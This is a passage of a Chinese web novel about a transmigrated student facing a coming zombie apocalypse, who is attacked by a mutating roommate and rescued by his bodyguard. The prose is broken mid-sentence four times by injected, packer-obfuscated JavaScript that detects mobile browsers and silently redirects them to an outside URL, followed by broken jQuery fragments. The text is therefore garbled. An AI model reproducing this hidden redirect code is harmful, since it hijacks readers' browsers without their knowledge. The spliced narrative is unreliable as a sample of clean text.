停电了,放出来的都是冷水,齐疏月被冻得一激灵,嘟囔道:“怎么这么冰啊。” “放那里。”观野的声音忽然从床铺处传来,“——我来。” 观野和昨天晚上一样神通广大,弄来了热水,齐疏月洗漱完成,眼睛还向观野那里飘,心里道:他怎么不去解决一下啊。 还没念完,观野就进卫生间了,还顺便锁上了门。 齐疏月:“。” 齐疏月百无聊赖,撑着下巴等着观野出来。目光漂移了一会,忽然起身走向阳台,隔着玻璃门往远处望。 只见地面已经积蓄了一层薄雪,却泛着雾蒙蒙的灰色,分明四下无人,却像是被脏鞋底踩过很多脚一样。 淡茶色的眼珠轻微地闪动了一下,齐疏月喃喃道:“……真的来了。” 这句话的尾音,微微颤动着,带着难言的紧张。 … 齐疏月正在和管家通电话。 他鬼使神差地拨出了这一通电话,其实也没有什么非说不可的话——在短暂沉默后,齐疏月本想挂断,但是管家却很高兴小少爷的主动来电,忍不住嘘寒问暖起来,无非是那些絮絮叨叨的叮嘱。介绍今天将带来的餐点、天冷了小少爷要加衣、什么时候放假回家…… 齐疏月听着电话,却很安静,心里不知为何有些酸涩发麻。 他知道末世马上要带来,也知道这些人大概率会在剧情初期……死亡。 带他的前辈告诉过他,剧情的推进运转,都是位面能孕育成熟的一部分。在这个位面成为真实的小世界前,这些人都是虚假存在的,要以宏观的态度对待,不要增加无故得心理负担——因为各种原因,发展局的员工很容易出现心理问题。 齐疏月自己在剧情里,都是个早死的炮灰,又谈何改变他人命运?但到底相处这么久,哪怕知晓这些人只是因为发展局给他虚构的身份才对他好的,但真正到这种时候,齐疏月还是不能不心乱。 他敷衍地“嗯”了几声,管家显然察觉到他的兴致不高,也不敢多问,准备等会再去观野那里打听下小少爷近况,将结束通话之前,听到齐疏月急促地喊了声“李叔”。 “这几天……不用给我送餐了,我想换换口味。”在李叔反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960860|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应之前,齐疏月语速极快地道:“最近心情不好,准备去三谷镇郊区的那栋别墅度假一阵,李叔,你今天就带着家里的人手过去收拾开荒……都带去吧。要和家里一模一样,让我住的舒服些。”齐疏月无所谓地说。 这要求显然是很过分的,虽然齐疏月爸妈因为工作太忙根本不回老宅,但哪有直接将家里人手都搬空的,再被宠溺的二代都做不出这么任性的举动。 但是管家却很高兴小少爷愿意提出要求,立时便答应下来。 齐疏月挂断电话,松了一口气。 就这样吧。 他很清楚家中老宅属于“重度污染区”,在那待着十死无生。 关于父母的剧情,是绝对不能变动的,这是任务主线中写出来的明确信息,就像他是在大一校内的时候遭遇丧尸潮那样。 但剧情中没有介绍管家那些人的信息,郊区别墅人口稀少,或许还有一线生机,总比重度污染区好逃跑。 就是…… 齐疏月检查系统面板,唇微微抿紧。 果然收到了违规提示,扣除他十分扮演值,只剩下九十分了。分数扣光,他会被强行弹出小世界,任务自然也记成失败。 他刚才的行为属于向人暗示末世信息,按照他的角色设定,“齐疏月”是不会知晓这些的。 但因为做的不算太过分,只能算打擦边球,扣得倒也不算多。 只犯错这么一次,不能再任性了。齐疏月在心里暗暗发誓。 观野已经从卫生间出来了,齐疏月心道还挺快的,就听观野开口:“度假?” 显然他听见了方才的对话。 被观野那双眼盯着,齐疏月骤然心虚,才想起来,明明昨天观野问他要不要出去散心,他还反应很大地拒绝了来着,却又朝令夕改,有些说不过去。 齐疏月尴尬又含糊地应:“嗯,过段时间嘛……” 观野没再追问。只是又问他:“早上想吃什么?” 齐疏月怔了怔才反应过来,他为了让李叔他们离开随意说的换口味的借口,也被观野听进去了,慌乱思考了下,“要荣记的烧麦。” 荣记是市内很出名的早点铺子,总店就在大学城附近,生意很好,每天都排长队。齐疏月不太在外面吃东西,但听过同学聊一嘴,这会想起来了。 观野“嗯”了一声,从衣柜里翻出今日行装准备出门。 齐疏月有些想和观野一起去,主要是还没从昨晚的心有余悸中回过神,“我和你一起吧。” 观野听见他的话,脸上还是没什么表情:“外面下雪,很冷,地也会很湿,容易摔。” “还是要我背着你?” 齐疏月听完,一秒变怂,倒不是别的,他有点怵那雪。立即乖巧地说:“我在寝室里等你回来,观野。” 他仰头看着观野,发现观野也一直看着他。 齐疏月:“?” 忽然间观野弯腰,伸手捏了下他的面颊,转身,走了。 直到门都合上了,齐疏月还是有些没反应过来……刚才观野是不是摸他脸了? 他脸上有灰? 齐疏月不确定地想着。 5. 末世篇(5) 几天来雪下得越来越大,加上还在停电,学校下发了临时的停课通知。 学生们对于学校的破电路久久维修不成很有怨言,但有休假又弥补了这点。 下雪、天冷、不用上课,齐疏月更懒得出门了。他懒洋洋地陷在沙发椅里,翻着解闷用的书,等着观野给他带早餐。 这几天他有点黏观野,齐疏月也觉得不太好。毕竟丧尸潮还没爆发,只是天有异象他就吓成这样了,真正面对怪物的时候肯定更艰难。而且……而且观野也不是一直能陪着他啊。 他之后是要被观野“放弃”的,现在多少适应下比较好吧? 齐疏月想着。 观野出门的时候,对面的701门正敞开着。 正在玩手机的男生飞快往对面瞥了一眼,看到是观野的时候脸色明显臭了臭。观野察觉到男生的敌意,但相比这种正处于荷尔蒙旺盛期,以至于无脑又冲动的成年男性的观感,他更在意齐疏月的早饭,所以连多看一眼都没有就走了。 男生满脸烦躁,对躺在床上的舍友说:“又是舔狗出来给大小姐带饭呢,也不知道大小姐天天闷寝室里做什么,人都见不到。” 齐疏月住702寝这事很多人都知道,毕竟严格来说也不是什么秘密。 七层住的多是大四生,各有实习工作,很少回校,寝室也基本空置,只有两间分配给大一新生的还常住着人。 有人公开羡慕701寝室,说他们能和齐疏月住同层,还靠那么近,未免太幸运了,经常能看见齐疏月吧。 住701的男生当即就黑了脸,大声说自己是直男成吗,和个男的住一块有什么值得高兴的,真以为人人都愿意舔着齐疏月啊。 据说之后还要和人换寝室来着,大把的人愿意,但也不知为什么没换成。 而男生和舍友关系不错,很大原因是因为他们两个臭味相投。舍友对着齐疏月,好似也有点说不清道不明的恶意似的,私底下嘲讽人家娇气,和个大小姐似的,老跟在身边的那个观野就是个舔狗,死同性恋。 以往对这样的话题,他们惯能说到一起去,但这会舍友躺在床上,安静得很,男生觉得有些奇怪,掀开床帘看了下:“艹,老杨你脸怎么红成这样?发烧了吧,我去校医室给你拿点药?” 床上躺着的“老杨”杨琛,正不断喘着气。他脸通红,胸腔起伏的弧度也很剧烈,一直睁着眼看着床顶,眼白布满了血丝。很久、很久都没眨一下眼,不过他的舍友显然没意识到这点异常。 听到男生的话,杨琛很僵硬地转了下脖子:“观野走了,齐疏月,在房间里?” 男生点头。 “是昨天被搞得下不来床了吧,”杨琛脸色有股死气沉沉的难看,“……真淫.荡。” 男生觉得骂得有点过,没接话,下一秒就见杨琛飞快从床上爬了下来,那身手敏捷得完全不像个重病的人,甚至利索得有些诡异,以至于他一时怔住了。紧接着,就见杨琛拉开了门,去敲了702寝的门,一时几乎可以说是大惊失色、方寸大乱,“不是、诶,你干嘛?” 他们虽然私底下说那些阴湿的话,可从来没表现到齐疏月的眼前过。 但这会老杨肯定是烧糊涂了,都意识不清了,一下一下地敲门。男生脸都涨红了,恨不得一脚踢飞他,眼见那门开了条缝,下意识就想躲起来划清关系。 齐疏月这时候还以为是观野忘带东西了,回来拿来着。 他趿着拖鞋,慢吞吞过去开门,结果门一打开,眼前是个陌生男生。脸特别红,眼睛微微外突,布满血丝地看着他。 齐疏月觉得他有点面熟,但也没想太多,很有礼貌、态度也很疏离地问:“同学,怎么了?” 对方不答话。 齐疏月微微偏头,疑惑看向他。随意扎成个小辫的银发随着动作滑落下来,藏进了毛茸茸的睡衣领里,像是一段月光被藏起来。 杨琛的目光情不自禁地被那一截银发吸引,又顺势落在洁白的、修长的颈项上。 很漂亮。 偏偏上面有一点很淡的、分不清是被吮吸过、还是如何作弄出来的红痕。 “……齐疏月。”杨琛开口。 眼睛越来越红了。 其实齐疏月的皮肤嫩,很轻易就能留下痕迹,他自己都不记得脖子上那点淡红从哪来的了,察觉到对方过于有侵略性的目光,让他有些提防和不快。 只是齐疏月又见杨琛满脸病容,可能是病中情况紧急,过来向他问药应急。还是客气地询问对方:“你是不是需要退烧药?我给你拿。” 但紧接着,杨琛一言不合地大踏步冲了进来,齐疏月被他撞到肩,下意识往后退了步,后腰磕在了桌角处。这一下有些重,疼得齐疏月“嘶”了声,还有点懵。 “你——” 齐疏月立即回身喊住他,“你做什么?” 而杨琛的目光,却是落在了寝室的两张床上。 一张床叠的很规整,规整得完全不像有人躺过的痕迹。 另一张床,额外换了个不同色调的淡蓝色的蓬松枕头。旁边摆放着热水袋、发带,又叠着一条淡白色的围巾。 是齐疏月曾经戴过的一条围巾。 杨琛的牙齿发出紧紧摩擦咬合的“吱呀”声,拳头攥得很紧,整个人像是在奇异的发抖似的。 他骤然出声,声音也嘶哑得像被烟燎过一样:“你们昨天晚上睡在一起?” 齐疏月莫名其妙:“?” 虽然的确是,但齐疏月不觉得自己有什么回答的必要:“不关你事。请你出去。” 明明杨琛先前还很难听地造齐疏月的黄谣,说他肯定和观野睡过,但现在却又像是遭受什么打击,破防了一样:“你、你们!!凭什么?不是说观野就是个保镖,校内谁不知道,他是为了钱才跟着你的!天天跟在你屁股后面和个舔狗一样,齐疏月,你就这么被他舔上了,是吗?” 齐疏月被他喊得都懵了一下,还没琢磨过来对方到底几个意思,就被人骤然按住了,慌乱间,身体还撞到了书桌处,一阵生疼。 然而现在杨琛的表情更加可怕,他死死盯着齐疏月,双手按在齐疏月的肩膀上,几乎是完全将人掌控住的姿态:“对孟向文不是很绝情吗?说自己不喜欢男的,哈,怎么对观野就变了,他哪里不同吗?” 齐疏月这下是真的被吓到了,他过去的人生中一惯被保护得很好,实在很少碰见这种极端癫狂的人。 他被弄痛了,又因为眼眶浅,很容易哭,一下子眼底就起了雾。 “还是说你就喜欢给你做狗的啊?那我也可以给你做狗啊,汪、汪。”杨琛用种很诡异的声调说着,以至于让人听上去,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960861|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得他在阴阳怪气。 他的眼白处泛出更多血丝,紧盯着齐疏月不放的同时又将人按进了沙发椅里,“但你为什么从来不看我一眼?一眼都没有,我敲你门的时候,你那么冷淡的表情,其实根本不记得我是谁,更不知道我叫什么对吧?” 他说着,像是根本控制不住脸部的表情那样,面目变得更加狰狞,从齐疏月的视角来看,隐约能看见对方锋利的牙齿从唇部探出来。 锋利的牙齿…… 齐疏月原本还在生气恼火,不明白对方为什么突然发疯,还胡乱揣测自己和观野的关系。但望见那明显不正常的牙齿,像是被泼了一盆冰水,忽然反应过来。 在末世来临初期,一些“天选之子”身上会出现奇怪异变。进入“异变期”的人将陷入高热、狂躁中,失去理智,行为变得过激。也尤其容易被外界环境刺激,到时候会展现出强烈的攻击性。 异变期内,还会伴随着时不时发作的、毫无规律的剧烈疼痛感,被称为“疼痛期”。但在彻底度过疼痛期后,就会获得强悍的异能。 ——但还有另一种可能。 极小概率下,也有人会走上另一种相反的进化路线,不进入疼痛期,力大无穷,展现出部分非人类特征,最后……成为高度丧尸化的原始体。 这样的原始体,还会在进化后保有部分理智和特殊能力,能操控一片地区内的其他丧尸,非常棘手难以应对。剧情中的反派就是这种情况,是一只超阶丧尸王。 杨琛现在的情况,就很像是这些“被选中的人”。而他发达的齿部变化,显然表明进化的天平偏向了小概率的那种。 这是丧尸化的征兆。 齐疏月脸色苍白。 他太松懈了。 现在是白天,不是剧情节点里,丧尸爆发的“深夜”。这大大降低了齐疏月的警惕心,也让他遗忘了,这个世界背景下不是只有尸潮集体爆发这一个危险点的。 在见到对方能正常站立、说话,和印象里的丧尸,或者说将爆发丧尸病毒的人的形象大相径庭时,齐疏月根本没想过自己能抽中这种极小概率的“大奖”——但哪怕概率再小,降临在个体身上就是绝对的百分百了。 可现在后悔也来不及了。齐疏月心底弥漫上恐惧,他第一时间想要挣扎反抗,但对方的力气太大了,别说脱身,连撼动一丝一毫都困难。极致的恐慌弥漫上来,齐疏月眼里荡着的泪光一下落下来,那双眼透着股朦胧的、似秋水似的清透,泪迹滑过了因为惊吓而显得粉白的面颊,显得这一幕有股奇怪的煽情,也尤为可怜。 “你、滚开啊!放开我,放——” 杨琛原本是打算扼住他的脖子的,但看到那滑下来的泪,略微怔了怔,陷入进一种奇怪的、着魔的状态中。 他似乎又心情愉悦起来,略微放缓了力道,只是俯下身,过于尖锐的牙齿更加诡异地探出来,一股不甚明显的腥气喷发在颈项旁边。 齐疏月的眼泪掉的更急,几乎本能地闭上了眼,眼睫不停地颤动着。 他会被咬吗?会被变成同样的丧尸怪物。如果更倒霉一点,还可能被直接吃掉,一丁点都不剩。 会很疼吗? 任务会直接失败吗? ……他怕疼的。 在最后挣扎的时刻,齐疏月发出了一声细弱的、轻微的哭腔。 6. 末世篇(6) 他不想死。 至少不能毫无价值地,死在这里。 所以齐疏月在完全无法抑制地、短暂抽泣了瞬间后,他偏过头,咬住了按在自己肩头的那只手,奋力地用牙齿去撕扯。 他很清楚这样能造成的杀伤力有限,但这已经是齐疏月最后能做到的攻击手段。也只能期许对方还有人类的触觉感知,在吃痛后能暂时放开他,齐疏月可以趁机溜走求救——他的体能很差,但瞬时爆发力还可以,或许能跑掉。 对方的确对他的撕咬有反应。 杨琛的目光落在齐疏月开合的唇上,殷红的唇瓣像是染血似的艷,很柔软,与皮肤贴近时带来的触感如此真实鲜明,那疼痛反而让杨琛心底生出些扭曲的暗喜来。 疼痛,却快意。 他终于,被齐疏月所看见了。 这种猝然爆发的喜悦,也的确让他危险的举动暂缓,只好整以暇地看着齐疏月,面容甚至透出几分温情来。就在此时,门又被一脚踹开了,跟进来的是701寝的另一名男生,也是杨琛的室友。 两个人狼狈为奸许久,在某些方面很有共鸣。然而男生看到眼前这幕,眼睛略微瞪大,紧接着很大声地骂了句“操”。 “杨琛,我日你大爷的!”男生骂的很凶,同野猪冲撞般奔了过来,恶狠狠地一脚就踹在了杨琛的身上,“你疯了?你要对齐疏月做什么??” 他这一脚带着怒意,出乎意料的凶悍,杨琛猝不及防,被踢的倒向另一侧。 齐疏月没想到能绝处逢生,慌了一下立即从沙发椅上坐起身,眼泪本能地掉得更凶,都有些模糊视线了。他用力地擦了一把眼睛,眼眶还泛着红,趁机看了男生一眼,气息有点不稳地提醒:“跑!” 男生却被那一眼望的如遭雷击,身体都僵硬了。他看着齐疏月哭红的眼简直不知道怎么办才好,结结巴巴地问他:“你、你真哭了啊?” 齐疏月:“……” 危急关头,这都什么问题啊。齐疏月上前拉着他一同跑路,男生人都傻了,迷迷瞪瞪地跟着走了几步。 可杨琛的反应出乎意料地快,一下就爬起来了。他一眼便看见齐疏月拉着舍友的手,表情扭曲起来,立即扑向出手的舍友,和他打作一团。 “我做什么?”杨琛一字一句地往外冒,字里行间都像渗着冷意似的,“我做你不敢做的事啊,孬种!” 杨琛挥舞着拳头,一下就把男生打翻在地,一拳一拳地冲着人的脸砸去。 男生的脸也瞬间肿了起来,偏过头,含糊地往外吐出一些血水来。 这种直接的、肢体上的碰撞互殴是很有冲击力的。齐疏月盯着男生吐出来的血迹,一时大脑有些空白,全身都在发冷。 杨琛的力气的确见鬼的大,把男生打的脑袋都嗡了两下。 但这会齐疏月就在旁边看着,男生莫名便被激发了某种奇异的斗志——像是肾上腺素都被激发出来,他又骂了声“草”,一下也挥拳打去,将杨琛打了个人仰马翻不止,连挥四五拳,这下两个人都鼻青脸肿,仍在撕扯,双方来回把对方打倒在地,和野兽一般地互殴。 只杨琛那变态的体质,还是隐隐占据了上风。 对齐疏月而言,他可能是在场最接近真相的人。 这不是什么普通的互殴的场面,杨琛会变成怪物,还是会吃人的怪物。 如果他再理智一些,就该知道趁着两人互殴的时候逃跑,或许还能获得一线生机—— 可是,可是。 也是刚才的男生救了他。 如果他跑了,那对方的下场一定不会好。 ……杨琛变异现在还只是有征兆,总不该那么快吧? 齐疏月深呼吸了下,抱着最后一点希冀鼓起了勇气,趁杨琛还将男生按在地上殴打的时候,将桌面的笔记本电脑合上,恶狠狠地向着杨琛的头上砸去—— 只听一声巨响,杨琛的头被砸破了,隐隐透出点凝结的血迹来。 他身形也是一顿,没倒下,反而缓缓回过头来盯着齐疏月,眼神说不出的可怕,含着扭曲的嫉恨。 “你为了他,打我?” 那目光如附骨之疽般,齐疏月心中发寒,下意识往后退。杨琛伸出手来抓他,齐疏月慌乱中脚踝扭了下,一下子跌倒在地上,恐惧令他的身体微微发颤,蜷缩起来,想跑都跑不动。 完蛋了。 在杨琛过于凶狠的目光下,齐疏月只觉死期将近,心中也不好说是悔恨还是害怕更多。他被吓得闭上眼,心里想着,他要是有观野那么能打就好了,也不会这么狼狈了。 “观野……”这种念头太强烈了,齐疏月眼睫抖着,下意识低声喃喃出观野的名字。 在狂风骤雨将临前,先到来的是一声巨响。 齐疏月耳朵都被震疼了下,有些茫然惊惶地睁开眼,看见的就是—— 杨琛被踢飞出去了? 这一幕夸张的和舞台剧上的表演似的,杨琛几乎飞出几米,重重砸在地上,齐疏月还没反应过来,紧接着脸就被捧起来了。 观野真的出现了。 齐疏月看着对方紧抿着唇,神情冷峻,很吃惊地睁大了眼。 观野本不该回来得这么快的。 他在路上忽而有些莫名其妙的心悸,好像听见了齐疏月在喊自己的名字——观野的听力确实不错,但也没到隔着数里还能听清楚的程度,唯一的解释就是他幻听了。 但就是这幻听让观野心神不安。 他打了齐疏月的电话,关机了。心里明白是因为这段时间断电,齐疏月有段时间没充手机。 一切毫无征兆,但观野就是莫名其妙地折返了回去,从一开始的步履如常,到后面压抑不住焦躁地奔跑起来。 他就想现在看一眼齐疏月。 在观野踏上七楼的阶梯时,先一步传来的,是碰撞的沉闷声响,还有齐疏月委屈的、带着哭腔喊他的声音。 他在喊“观野”。 观野差点真的疯了,想也没想地爆冲上前,看到的场面能让他血都凉下来。 齐疏月被推倒了,只能坐在地上,他身体微微蜷曲起来,很可怜的姿势。原先扎起来的银发也被弄乱了,只看背影就孤零零的,发出很轻的呜咽声。 那闯进来的人,还要对他行凶。 观野身体里仿佛有某种杀戮欲.望在叫嚣,想都没想就一脚对杨琛踹了过去,这一下是一点没收着力,能直接将人踹出内出血的。但他注意力其实都没怎么放在杨琛身上,压下那股怒火,立即蹲下.身,很小心翼翼地检查齐疏月身上哪里有伤。 在看见齐疏月眼睛发红、脸颊上还有泪迹的时候,他其实很呆地怔了许久,心底沉甸甸地压下来,是一股沉闷的、钻心的难受。 观野很少这么懊悔过。 他或许是能力退步太大,竟从没注意过身边潜藏着这样的危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960862|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,他还把齐疏月扔在寝室里。 带着枪茧的拇指抚摸上齐疏月的面颊,观野很小心翼翼、用几乎是珍惜的目光看着齐疏月,又用指腹擦拭过他湿润的面颊,在发现那一片白皙皮肤很轻易就被拭红的时候,看上去有种手足无措的不安。 “没事了,没事了。”观野声音放轻地安慰他,“我来了……齐疏月。” 齐疏月还正懵着看他呢,心想怎么说曹操曹操到啊,观野来的也太及时了吧。他眼睛又圆,茶色的眼睛含着水雾看人,简直就和在家为非作歹的娇气小猫意外流浪在外面被欺负惨了似的,有点呆,又实在很可怜的样子,观野心都能被他看碎了,一下将人抱了起来。 突然腾空的感触让齐疏月下意识扶着观野的手臂,有些怕,但手底下结实的、具有弹性的肌肉触感让他又勉强冷静下来。 却没想到杨琛好像被这一幕刺激了一样,居然还能爬起来,齐疏月是真的怕他,一下就往观野的怀里缩了。观野也意识到这点,眼里更有杀气了,一脚就踹翻了杨琛,踩在他身上时,好像都能听见那种骨头“咯吱”被拗断的声响。 701寝的的另一个男生,是觉得杨琛活该的,谁叫他发疯对齐疏月不轨。 但观野踩人气势太凶了,跟要杀人似的,看的他都有点胆寒,忍不住出声道:“别打了吧?万一整出人命了。” 观野眼底全是煞气地望过去,差点连他一起揍,毕竟男生看上去就很像同谋。 齐疏月这会回过神,他怕观野误会,连忙解释,“是他救……帮了我。” 杨琛此时已经昏死过去,看来还处于肉.体凡胎的阶段,齐疏月也不得不让观野停手。 齐疏月私心里,当然是想将杨琛灭口的,倒不是出于报复,主要是杨琛死了都能算为民除害——但在当前阶段,杨琛的社会身份还是合法公民,是人类。 今天这件事的严重性质,在外人看充其量算斗殴,他不可能为互殴一事就提出或纵容杀人灭口,这属于严重违反人设了。 要是在末世来临前,先被当成杀人犯抓起来就乐子大了,旁边还有正义路人在场呢。 退一步说,还有万分之一的可能,万一、杨琛最后的进化方向拐回异能者了呢? 齐疏月心底十分纠结,也只能将目光转向观野。担心被在场的第三人听见,他很小声地在观野耳边说道,“他……欺负我。我要给他个教训。” 齐疏月知道,观野可能有些灰色人脉,因此迅速开口,“找个地方把他关起来,我没消气前不准放出来——绝对不能让他逃出来。” “只准放些食水,也不准让人陪他。”齐疏月又强调。 这算是齐疏月想出来的折中方案,丧尸在变异开始时没吃到人,会越来越虚弱,丧尸王也要遵循基本规律,这样算是提防了杨琛一手。 至于杨琛要是变成了异能者……那他自求多福吧。 即便是这样的处理,齐疏月还是很紧张地偷瞥了一眼自己的系统界面。 还好,不算违规。 娇气小少爷将得罪自己的人关起来这样的灰色边缘的报复,勉强在系统认可的人设范围之内。 其实齐疏月的这种惩罚在观野看来,几乎是显得有点可爱的程度,但是他肮脏的那一面当然不能表现在齐疏月面前,因此只点了点头应下来。 现在更重要的事应该是—— 观野开口:“去看医生。” 7. 末世篇(7) 看医生? 齐疏月有些茫然,他不记得自己有受伤。也幸好没被杨琛咬到,开场变成丧尸,他的业绩也可以不要了……嘶,脚踝好像有些疼。 但总之相比起看医生这种小事,齐疏月更关心的是怎么处理杨琛。所以硬是等在原处,亲眼看着人被拿绳子绑走了,还很关心地问要不要给昏迷的杨琛上个止咬器。 被喊来的人看着齐疏月调笑:“小朋友,你还怕他吃了我们啊?” 齐疏月:“……”不好笑,他是真的怕。 来人被观野冷瞥了一眼,才收起微笑,乖巧回答:“好的野哥,好的野哥的小主人,我们一定谨慎对待。” 决定了杨琛的归宿后,齐疏月想怎么也能撑到末世降临吧,一路上心不在焉地被带去了医院,还让观野又打了两个电话确认。 如非必要,齐疏月是不想在这种紧要关头离开学校的。 但是观野的态度实在很强硬,加上那个来救自己的男生,也同样受了伤——甚至严格来说,他才是在场唯一需要找医生的人。齐疏月找不出严词拒绝的借口,只能跟着前去,决心一定在天黑前赶回寝室了。 一路上,那个男生还挺腼腆的,低着头也不说话。 齐疏月看着对方通红的面颊多少有些担心,好像更红肿了…… 他们去往的是有齐家控股的私人医院,因此收治手续都很快,男生被医护带走之后,齐疏月也做了详细的体检。 没什么大问题,最严重的也不过是脚踝——I度的左踝关节急性扭伤,冰敷处理后,注意近期不剧烈运动就能自愈。 另外身上还有几处淤青,看着吓人,但齐疏月没觉得有什么疼,医生也说只是轻微的软组织挫伤,涂药后很快就能消下去。 齐疏月还很困惑,肩膀上的印记他清楚,估计是被杨琛按着肩膀抓出来的,为什么后腰上也有伤? 虽然伤势不重,但观野对此的反应却很大,盯着伤处的目光阴沉沉得有点可怕。 等一切检查完毕,齐疏月都准备拎着药出院了,却听见观野和医生在谈留院观察的事。 齐疏月:“??” 齐疏月立即扯了扯观野的衣摆:“不要住院了,现在就回去。” 观野:“你的脚不适合多走。” 齐疏月:“……” 医生明明是说不要剧烈运动。 齐疏月一惯是知道怎么劝说观野的,冷静地道:“那给我借个轮椅,推着走。” 观野还待说什么,齐疏月已经破罐破摔了:“有楼梯或者要下地你就抱我上去,反正我不想住医院,消毒水味好难闻。” 观野:“……好。” 齐疏月如愿以偿在天黑前出了院,只是在车上时,又发现车直接开过了校区的方向—— “等一下,”齐疏月有些慌,问观野,“我们要去哪?” “附近的公寓。”观野说,“老板之前安排的。” 观野口中的“老板”,自然是齐疏月的母亲了。想来也是没打算让齐疏月一直住学校宿舍,早早买好了附近的公寓。现在齐疏月在宿舍出了意外,提前半年搬去安全性更强的住所也是很合理的事。 齐疏月一下都没想到这茬,支支吾吾地不愿意,一定要回学校。 观野微微皱眉,找路边停了车,很不解地问他:“为什么?” 齐疏月被观野那双眼盯得心虚,但还是眼一闭心一横地道:“万一明天不停课了怎么办?早八呢。” 观野:“……” 他听见观野有些无奈的叹息:“小少爷。” 齐疏月也知道,自己这样胡扯的理由很没说服力,但真正的理由又的确难以启齿——齐疏月侧过身,很轻地扯了一下观野的衣角。 “观野,”齐疏月抬起眼睛望他,神色冷静,力图用人格魅力说服观野,“就这一次。” “马上就寒假了,假期后再搬也来得及,我们到时候,还是住一起吧?”齐疏月面不改色地画着饼。 他很清楚不会再有所谓假期了,人类的末世将临,但现在,当然是先把观野糊弄过去更重要。 在观野眼里。齐疏月希冀地抬起眼睛看着他,眼尾还泛着点云霞似的淡红,让观野不断回忆起齐疏月眼睫上沾着雾,苍白面容上有圆滚滚的眼泪掉下来的模样,心底很难不生出怜惜来。 而面对这样的齐疏月,也同样很难有人能拒绝他。 毕竟齐疏月今天已经哭过一次了,观野无论如何也不想让他再哭第二次了。 所以很短暂的沉默后,观野叹了口气,将车调头。 回到校区的时候,齐疏月很是松了口气。 他实在很怕有什么阴差阳错的情况让他错过剧情,好在虽有插曲,也一切顺利。 观野当真是用轮椅将他推进校园的,齐疏月莫名有几分脸热,怕万一有人好心问候,结果发现他只是轻轻扭了下脚,要觉得他娇气。下意识地就拿挡雪的伞轻轻往前偏,也挡住了脸。 一路上撞见的人少,陆陆续续有人望过来,齐疏月也想幸好他们只能看见观野的脸。 等回了寝室,观野将齐疏月背上七楼,检查过门锁,嘱咐他一定不要随便开门后才重新去拿电动轮椅。 叮嘱得齐疏月都怪不好意思的……他又不是小朋友。 虽然的确刚犯了错,足够他心有余悸记很久了。 观野拿轮椅上来的速度很快,足以见得心有余悸的也不止齐疏月一个。齐疏月见他脸有些发红,还以为是观野连续爬了两趟七楼、又扛着重物的缘故。 但观野平日体能极佳,这反应多少有几分不同寻常,齐疏月多观察了他一会,见他脸上不曾退热,那股红反而愈演愈烈,才试探性地道:“刚刚是不是淋到雪了?观野……你好像在发烧。” 经过了杨琛的事,齐疏月其实更怀疑观野是不是也进入了异变的特殊状态。作为主角,观野理所应当的是“天选之子”中的一个,且一定是向着强大异能者方向进化的救世主才对。 他这么想着,也还是伸手去书桌抽屉下拿出一板退烧药,按照药物说明拿了一颗出来递给观野。 也不知道对这种异能性导致的发烧有没有用……总之先相信下现代医学吧。 观野同样察觉到自己的体温异常。他体质特殊,不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960863|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得会有什么问题,只是齐疏月递给他药,他也接过咽了下去,才说:“没事。” 现在离天黑还有段时间。 齐疏月想起剧情里对“异变期”的描述,进入异变的人会不可避免地失去自控力,被刺激后,还会对外界产生攻击性,这同样也是出于自我保护的本能。 按理来说,在这期间他当与观野保持距离,但都这关头了,齐疏月是绝对不可能在这会离开主角的——也只能尽量在宿舍内保持安静和距离了。 只要不刺激到观野,观野应该不至于攻击他吧? 这么想着,齐疏月借口犯困,要上床休息。 观野听到他的话,又将他从沙发椅上抱起来,踩着凳子要将他送到床上。 这动作其实还怪危险的,但齐疏月被他抱来抱去惯了,对观野的体力很有信心,也不觉得害怕。就是轻轻“咦”了声,小心提醒观野:“不是、不是睡你床上。” 齐疏月也怪尴尬的,都是这段时间躺观野的床躺习惯了,搞得观野都快默认了。此时也只能纠正道:“是去我的床。” 观野明显怔了下,沉默地换了个方向。 齐疏月爬上床的时候,观野又去灌好了新的热水袋递给他,语气始终平稳:“冷的话告诉我。” 